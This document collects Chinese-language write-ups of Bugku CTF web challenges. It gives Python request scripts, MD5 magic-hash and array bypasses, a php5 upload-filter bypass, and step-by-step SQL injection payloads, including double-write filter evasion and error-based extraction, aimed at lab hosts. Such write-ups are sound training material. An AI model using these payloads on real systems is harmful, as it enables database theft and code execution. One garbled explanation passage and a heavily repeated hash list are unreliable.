提示是 快 并且要POST穿一个margin参数
先用Burpsuite抓包 果然有惊喜
base64解码
直接提交POST没用的意料之中的
毕竟是要快
可以用python脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author:Box time:2019/10/14
import requests
import base64
url = "http://123.206.87.240:8002/web6/"
r = requests.session()
headers = r.get(url).headers # 因为flag在消息头里
mid = base64.b64decode(headers['flag'])
print mid
flag = base64.b64decode(mid.split(':')[1]) # 获得flag:后的值
data = {'margin': flag}
print (r.post(url, data).text) # post方法传上去
不知道是一串扫描什么东西
观察url ,发现 a2V5cy50eHQ= 是一个base64编码,解码后是keys.txt
尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=2
可以一行行试,但是太麻烦了
python实现
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author:Box time:2019/10/14
import requests
for i in range(0,100):
url = 'http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'% i
line = requests.get(url)
if len(line.text)>0:
print line.text
得到index.php源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //margin=margin
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
在header中令 Cookie:margin=margin
提示访问 1p.html
http://123.206.87.240:8006/test/1p.html
直接被重定向到bugku首页
用Burp Suite抓包
<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
解码后又有url解码
<!--%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E-->
最后得到
<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>-->
终于出来了,来分析代码
stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)。
file_get_contents 将整个文件读入一个字符串
strlen() 函数返回字符串的长度
substr() 函数返回字符串的一部分。 substr(string,start,length) ,length参数可选。如 substr($b,0,1) 就是在参数b里面 ,从0开始返回1个长度的字符串
eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) 就 是 判 断 " 1114 " 这 个 字 符 串 里 面 是 否 有 符 合 " 111 " . s u b s t r ( b,0,1),"1114") 就是判断"1114"这个字符串里面是否有符合"111".substr( b,0,1),"1114")就是判断"1114"这个字符串里面是否有符合"111".substr(b,0,1)这个规则的
总的来说,如果a参数传入文件内有 "bugku is a nice plateform!"字符串,并且id参数为0 , b参数长度大于5,“1114"这个字符串里面是否有符合"111”.substr( b , 0 , 1 ) 这 个 规 则 的 , s u b s t r ( b,0,1)这个规则的,substr( b,0,1)这个规则的,substr(b,0,1)不能等于4 以上这些条件都满足,就请求 f4l2a3g.txt
:)这么麻烦,那就先试试能不能直接访问 f4l2a3g.txt 吧
可以访问,flag我看到你了!
首先分析这道题:
定界符:/和/(一般来说是这两个,其实除了\和字母数字其它的只要是成对出现都可以看做定界符,比如##、!!之类的);
. (一个点):表示可以匹配任何字符;
{n,m} :前面的字符重复4~7次;
\ (反斜线):后面的字符被转义;
[a-z] :在a到z中匹配 ;
[[:punct:]] :匹配任何标点符号;
/i :表示这个正则表达式对大小写不敏感;
至此,我们可以对这道题的正则表达式进行构造。
例如:keyakeyaaaakey:/a/aakeyb!
key1key11111key:/1/1keya,
答案不唯一
正则表达式语法补充:
一、
“\b” :不会消耗任何字符只匹配一个位置,常用于匹配单词边界 如 我想从字符串中"This is Regex"匹配单独的单词 “is” 正则就要写成 “\bis\b”
\b 不会匹配is 两边的字符,但它会识别is 两边是否为单词的边界
“\d”: 匹配数字
“\w”:匹配字母,数字,下划线.
“\s”:匹配空格
“.”:匹配除了换行符以外的任何字符
“[abc]”: 字符组 匹配包含括号内元素的字符
另:
“\W” 匹配任意不是字母,数字,下划线 的字符
“\S” 匹配任意不是空白符的字符
“\D” 匹配任意非数字的字符
“\B” 匹配不是单词开头或结束的位置
“[^abc]” 匹配除了abc以外的任意字符
查看源代码发现code.txt
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
这题很容易这需要三个数组即可绕过
http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=3
MD5碰撞,找一个0e开头的MD5 通过get方式传给a
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
http://123.206.87.240:9009/md5.php?a=s1665632922a
代码审计
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
代码审计
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "This is flag:"
." $flag";
}
else
{
echo "sorry!
";
}
}
?>
extract()
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
trim()
去除字符串首尾处的空白字符(或者其他字符)
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
需要开启allow_url_include
注:当enctype=”multipart/form-data”时,php://input是无效的。
文件不能为php
我上传 01.jpg
似乎并没有是没用
上传2.php
Invalid file
1、扩展名filename
2、filename下面一行的Content-Type:image/jpeg
3、最最最重要的是请求头里的Content-Type字段,进行大小写绕过,也就是把multipart/form-data中任意一个字母改成大写即可
关于扩展名:
试验过php2, php3, php4, php5,phps, pht, phtm, phtml之后,发现只有php5可以绕过
这可能是个sql注入
用户 尝试admin’ 密码随意 发现没有什么反应
用户 尝试 admin" 发现报错
还爆出了一个 w_passwd字段
在BurpBuite重放
admin_name=admin"union select 1,2%23&admin_passwd=amdin&submit=GO+GO+GO
admin_name=admin"union select 1,2,3%23&admin_passwd=amdin&submit=GO+GO+GO
判断查询的字段数为2
查表名(注意要查询的字段要放在第一个字段)
admin_name=admin"union select group_concat(table_name),null from information_schema.tables where table_schema=database()%23&admin_passwd=amdin&submit=GO+GO+GO
得到 表名 :flag1,whoami
查字段名
admin_name=admin"union select group_concat(table_name),null from information_schema.columns where table_name='flag1'%23&admin_passwd=amdin&submit=GO+GO+GO
得到字段名 flag1
查flag
admin_name=admin"union select group_concat(flag1),null from flag1 %23&admin_passwd=amdin&submit=GO+GO+GO
看到这URL我就猜想极有可能是sql注入
id=1’
果然返回 error
?id=1’or 1=1–+ 也报错,可能存在过滤
尝试双写绕过,?id=1’oorr 1=1–+ 返回正常
那如何检测哪些字符串被过滤了呢?新技能GET!
异或注入了解一下,两个条件相同(同真或同假)即为假
http://123.206.87.240:9004/1ndex.php?id=1'^(length('union')!=0)--+
当 union 没有被过滤时,length(‘union’)!=0 为真 ,则 1 ^ 1 输出 id=0,页面返回error
当union被过滤时 ,length(‘union’)!=0 为假,则1^0 输出id=1,页面返正常
同理测试出被过滤的字符串有:and,or,union,select
猜SQL语句查询了几个字段:
?id=1'uniounionn sselectelect 1,2--+ //正常
?id=1'uniounionn sselectelect 1,2,3--+ //error 说明前面查询了2个字段
查表名(注意:information里面也有or双写可以绕过)
?id=0'ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
得到 flag1,hint
查询字段名
http://123.206.87.240:9004/1ndex.php?id=0'ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
http://123.206.87.240:9004/1ndex.php?id=0'ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='hint'--+
flag1表中有 flag1,address 字段
hint 表中有 id,contents
查flag
http://123.206.87.240:9004/1ndex.php?id=0'ununionion seselectlect 1,group_concat(flag1) from flag1--+
得到:usOwycTju+FTUUzXosjr ./Once_More.php 提交并没有用,题目提示的是两个flag
./Once_More.php访问这个页面
根据提示我们get 提交一个 id
id=1’ 报错 又是注入
判断字段数
?id=1’ order by 2–+ 正常
?id=1’ order by 3–+ 报错
尝试union注入
?id=3’ union select 1,2–+
union 被过滤了 尝试双写一样被过滤
尝试延迟注入
?id=1’ and sleep(10)-+
sleep()被过滤
加粗样式
尝试报错注入
?id=1’and(extractvalue(1,concat(0x7e,database(),0x7e)))–+
爆表名
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))--+
得到表名 class,flag2
爆字段:
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--+
得到字段:flag2,address
爆flag:
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag2,address) from flag2),0x7e)))--+